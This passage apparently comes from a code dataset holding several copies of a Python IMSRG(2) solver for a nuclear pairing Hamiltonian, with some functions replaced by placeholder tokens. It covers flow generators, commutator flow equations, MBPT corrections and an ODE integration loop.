holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += 